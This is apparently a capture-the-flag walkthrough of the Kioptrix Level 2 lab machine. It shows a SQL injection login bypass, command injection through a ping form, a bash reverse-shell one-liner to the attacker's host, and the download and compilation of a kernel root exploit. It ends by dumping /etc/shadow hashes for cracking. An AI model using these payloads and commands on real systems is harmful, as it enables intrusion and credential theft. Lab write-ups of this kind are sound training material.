Mobile logo

Contents

This is the second box in the Kioptrix series which will introduce us to a few new techniques and exploit paths not seen in Kioptrix Level 1.

First and foremost, we find the IP address of the box. I detailed this step in Kioptrix level 1 and won’t go into much detail from this box forward. I used the NetDiscover tool native in Kali to find the IP address (192.168.1.196).

Scanning:

  • Run an initial scan of the box with: nmap -sC -sV -oA nmap 192.168.1.196
    • sC: Safe Scripts
    • sV: Service Version Detection
    • oA: output all formats (HTML, XML, GNMAP)

[sourcecode language=”bash” wraplines=”false” collapse=”false”]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 804/udp status
|_ 100024 1 807/tcp status
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=–
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2018-01-13T14:18:21+00:00; -2h09m44s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:70:28:05 (VMware)
[/sourcecode]

We see there are several possible avenues that can be further explored to see what is vulnerable and what is not. Just like in the Kioptrix level 1 write-up, we use SearchSploit to first check for low hanging fruit to see if we can get a shell as fast as possible with little to no effort. But, nothing is too apparent right off the bat. So, we move to the web server to check what is available on the webpage. Here is what we know so far:

  1. The web server is running on port 80 and 443.
  2. There’s a MySQL instance meaning that depending on their use case, there may be a few possible exploits that we can take advantage of.

So, let’s go to the webpage are start poking around. The first thing we see when we go to the type the IP address in our browser is a login page running on HTTP (port 80).

 

SQL Injection:

At this point, there are several things we can do. Usually, I would have BurpSuite up and running in order to view what is happening with the GET/POST data and see if there is anything to manipulate but, this write-up is not going to be tool heavy as it’s fairly simplistic and regarded for beginners. As such, let’s go down the checklist of what we should do when encountering a login form without using any tools/programs to do the work for us.

  1. Check for common username/password combos (None of these work)
    1. Admin:Admin
    2. Admin:Password
    3. Root:Password
  2. We know that there is a MySQL instance on the machine. Maybe the web form login is using MySQL for authentication? Let’s check for SQL injection.
    1. Username = admin the password = ‘or”=’

The SQL injection worked and logged us into the Basic Administrative Web Console which allows us to ping a machine on the network. I would assume the ping command is being run via BASH and as such, we could possibly have command execution. Let’s try a few commands first.

Looks like we have command execution. We can enumerate the machine via this manner but, it’s less efficient. So far, we know there are two users (John and Harold). Now, let’s get a shell so we can start the fun stuff, using the scripts we detailed in the Scripts and Automation Post.

The first step is to check for a few common vectors that make a reverse shell simplistic:

  1. Go to the Reverse Shell Cheat Sheet hosted by PentestMonkey.
  2. NetCat: First I check to see if netcat is even installed on the local machine. In this case, it is not. But, if ever you find yourself in a place where you can use netcat, here is a good cheat sheet.
  3. Since we know this is a Linux Host and it’s running commands via BASH, let’s attempt a BASH reverse shell. I am going to go into detail here on what all needs to happen sequentially:

Bash Reverse Shell:

The syntax that we are going to input into the Web Console is this: 192.168.1.1; bash -i >& /dev/tcp/192.168.1.194/1337 0>&1

  • The 192.168.1.1 is the address we are going to ping because the web command is looking for an IP address so, we give it an IP address and end it with a ;
  • We then run bash -i >& /dev/tcp/192.168.1.194/1337 0>&1 which the command syntax can be found in the Reverse Shell Cheat Sheet. The IP address we supply within this command string is the IP address where we will be listening for a remote connection (i.e. Your attacking box, probably Kali). The 1337 is the port in which we will be listing for the connection on.

Step 1.) Go to you Kali (or attacking machine) and start a netcat listing session (nc -lvp 1337)
Step 2.) Enter the reverse shell sytax in the Asmin Web Console and submit it.

We get a reverse shell with user Apache. This gives us a really good place to start our post-exploitation enumeration. The first thing I am going to do is have a look around and check the home directory permissions, see if there are any cron jobs running, check and see if I can read/write to any privileged files such as the /etc/passwd or /etc/shadow. I’m not finding much so, the next thing I am going to do is run LinEnum.sh to check for common attack vectors. There are several ways to get the script onto the compromised box, I just use wget –no-check-certificate https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

The main thing I am going to focus on since I didn’t see anything out of the ordinary, is the kernel version. It’s old and may have some vulnerabilities.

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

Privilege Escalation:

Searching on google and ExploitDB, I found a possible exploit that may give us root.

  1. Wget the source code to the compromised boxes /tmp directory.
    1. wget https://www.exploit-db.com/raw/9542/
  2. Compile the source code:
    1. gcc exploit.c -o exploit
    2. chmod 777 exploit
  3. Run the exploit:
    1. ./exploit

We now have a Root Shell and have complete control over the host. A few things we can do after a successful compromise is to create a persistent backdoor, change passwords, get the password hashes, etc. So, let’s take this one step further. Since we now have a root shell, let’s get the password hashes and crack them so we can just login at any time. In a future writeup, I will go into depth on hash cracking but for the time being, I used hashcat -m 500 hashes.txt passwords.txt as the syntax to crack the hashes you see below!

[sourcecode language=”bash” wraplines=”false” collapse=”false”]
sh-3.00# cat /etc/shadow
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::
sh-3.00#
[/sourcecode]